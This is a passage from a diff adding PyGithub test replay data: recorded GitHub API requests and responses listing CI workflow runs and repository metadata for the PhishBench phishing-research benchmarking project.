","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2022-12-13T03:10:13Z","pushed_at":"2022-11-21T23:43:04Z","git_url":"git://github.com/ReDASers/PhishBench.git","ssh_url":"git@github.com:ReDASers/PhishBench.git","clone_url":"https://github.com/ReDASers/PhishBench.git","svn_url":"https://github.com/ReDASers/PhishBench","homepage":"","size":32572,"stargazers_count":6,"watchers_count":6,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":5,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":5,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":5,"open_issues":5,"watchers":6,"default_branch":"master","temp_clone_token":null,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":5,"subscribers_count":2} diff --git a/tests/ReplayData/PullRequest2408.test_get_workflow_runs.txt b/tests/ReplayData/PullRequest2408.test_get_workflow_runs.txt new file mode 100644 index 0000000000..565e44d649 --- /dev/null +++ b/tests/ReplayData/PullRequest2408.test_get_workflow_runs.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/ReDASers/PhishBench/actions/runs?head_sha=7aab33f4294ba5141f17bed0aeb1a929f7afc155 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 30 Jan 2023 20:44:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"724b15d3417b0c51d3a3d8caeeb1e010551b05b9dca24c6060352397893a3908"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '57'), ('X-RateLimit-Reset', '1675115093'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B05E:60A8:540E2:558E4:63D82C46')] +{"total_count":2,"workflow_runs":[{"id":720994709,"name":"Unit Test","node_id":"MDExOldvcmtmbG93UnVuNzIwOTk0NzA5","head_branch":"master","head_sha":"7aab33f4294ba5141f17bed0aeb1a929f7afc155","path":".github/workflows/Unit_Test.yml","display_title":"URL Features Documentation (#299)","run_number":121,"event":"push","status":"completed","conclusion":"success","workflow_id":4477711,"check_suite_id":2426381396,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUyNDI2MzgxMzk2","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/720994709","pull_requests":[],"created_at":"2021-04-06T01:40:33Z","updated_at":"2021-04-06T01:53:34Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2021-04-06T01:41:03Z","jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/2426381396","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477711","head_commit":{"id":"7aab33f4294ba5141f17bed0aeb1a929f7afc155","tree_id":"9fa55126b819803b1b35c238d436c20142d1996b","message":"URL Features Documentation (#299)\n\n* Updated Citation\r\n\r\n* register_feature now sets the doc-string.\r\n\r\n* Fixed docstring for has_www_in_middle\r\n\r\n* Removed features.rst\r\n\r\n* renamed feature functions to match config names\r\n\r\n* Documentation for URL features\r\n\r\n* Headers\r\n\r\n* Updated unit tests\r\n\r\n* Renamed number_of_scripts function\r\n\r\n* Fixed docstrings\r\n\r\n* Documentation for other URL features","timestamp":"2021-04-06T01:40:32Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":720994708,"name":"Integration Test","node_id":"MDExOldvcmtmbG93UnVuNzIwOTk0NzA4","head_branch":"master","head_sha":"7aab33f4294ba5141f17bed0aeb1a929f7afc155","path":".github/workflows/Integration_Test.yml","display_title":"URL Features Documentation (#299)","run_number":121,"event":"push","status":"completed","conclusion":"success","workflow_id":4477712,"check_suite_id":2426381395,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUyNDI2MzgxMzk1","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/720994708","pull_requests":[],"created_at":"2021-04-06T01:40:33Z","updated_at":"2021-04-06T02:37:49Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2021-04-06T01:53:52Z","jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/2426381395","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477712","head_commit":{"id":"7aab33f4294ba5141f17bed0aeb1a929f7afc155","tree_id":"9fa55126b819803b1b35c238d436c20142d1996b","message":"URL Features Documentation (#299)\n\n* Updated Citation\r\n\r\n* register_feature now sets the doc-string.\r\n\r\n* Fixed docstring for has_www_in_middle\r\n\r\n* Removed features.rst\r\n\r\n* renamed feature functions to match config names\r\n\r\n* Documentation for URL features\r\n\r\n* Headers\r\n\r\n* Updated unit tests\r\n\r\n* Renamed number_of_scripts function\r\n\r\n* Fixed docstrings\r\n\r\n* Documentation for other URL features","timestamp":"2021-04-06T01:40:32Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}}]} + +https +GET +api.github.com +None +/repos/ReDASers/PhishBench/actions/runs?exclude_pull_requests=1 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 30 Jan 2023 20:44:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b8af64bee7c5c50252bce772c6d57b8442a3114a5d1f24bc92b588e7f0276820"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '56'), ('X-RateLimit-Reset', '1675115093'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B06C:D40B:52332:53B0A:63D82C46')] +{"total_count":593,"workflow_runs":[{"id":3519037359,"name":"Website TF-IDF Integration Test","node_id":"WFR_kwLOCLXpC87RwD-v","head_branch":"dependabot/pip/tensorflow-2.9.3","head_sha":"046bb53f4a15b7d50a5a33f79c23facac7827ad6","path":".github/workflows/Website_Tfidf_Integration_Test.yml","display_title":"Bump tensorflow from 2.7.2 to 